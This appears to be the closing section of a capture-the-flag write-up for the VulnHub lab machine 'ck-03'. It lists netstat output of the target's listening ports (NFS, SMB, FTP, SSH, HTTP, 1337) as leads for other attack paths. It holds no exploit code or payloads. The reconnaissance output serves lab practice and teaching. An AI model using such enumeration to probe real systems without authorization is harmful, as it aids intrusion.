In the process of preparing for the stream, and during the live stream itself, we didn’t have time to explore everything we found, but here are some other interesting finds that could lead to alternate paths:
Multiple listening ports on UDP and IP6:
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:2121 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:42698 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:20048 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:58202 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp 0 0 192.168.232.129:22 192.168.232.132:46248 ESTABLISHED -
tcp6 0 0 :::2049 :::* LISTEN -
tcp6 0 0 :::57602 :::* LISTEN -
tcp6 0 0 :::139 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::20048 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::1337 :::* LISTEN -
tcp6 0 0 ::1:25 :::* LISTEN -
tcp6 0 0 :::445 :::* LISTEN -
tcp6 0 0 :::48317 :::* LISTEN -
udp 0 0 0.0.0.0:2049 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:111 0.0.0.0:* -
udp 0 0 127.0.0.1:659 0.0.0.0:* -
udp 0 0 0.0.0.0:796 0.0.0.0:* -
udp 0 0 0.0.0.0:50354 0.0.0.0:* -
udp 0 0 0.0.0.0:34013 0.0.0.0:* -
udp 0 0 0.0.0.0:48597 0.0.0.0:* -
udp 0 0 0.0.0.0:20048 0.0.0.0:* -
udp 0 0 0.0.0.0:57171 0.0.0.0:* -
udp6 0 0 :::2049 :::* -
udp6 0 0 :::111 :::* -
udp6 0 0 :::35332 :::* -
udp6 0 0 :::796 :::* -
udp6 0 0 :::50582 :::* -
udp6 0 0 :::48602 :::* -
udp6 0 0 :::20048 :::* -
raw6 0 0 :::58 :::* 7 -
/usr/bin and /usr/sbin also have some interesting binaries.
tags: ctf - vulnhub - ck-03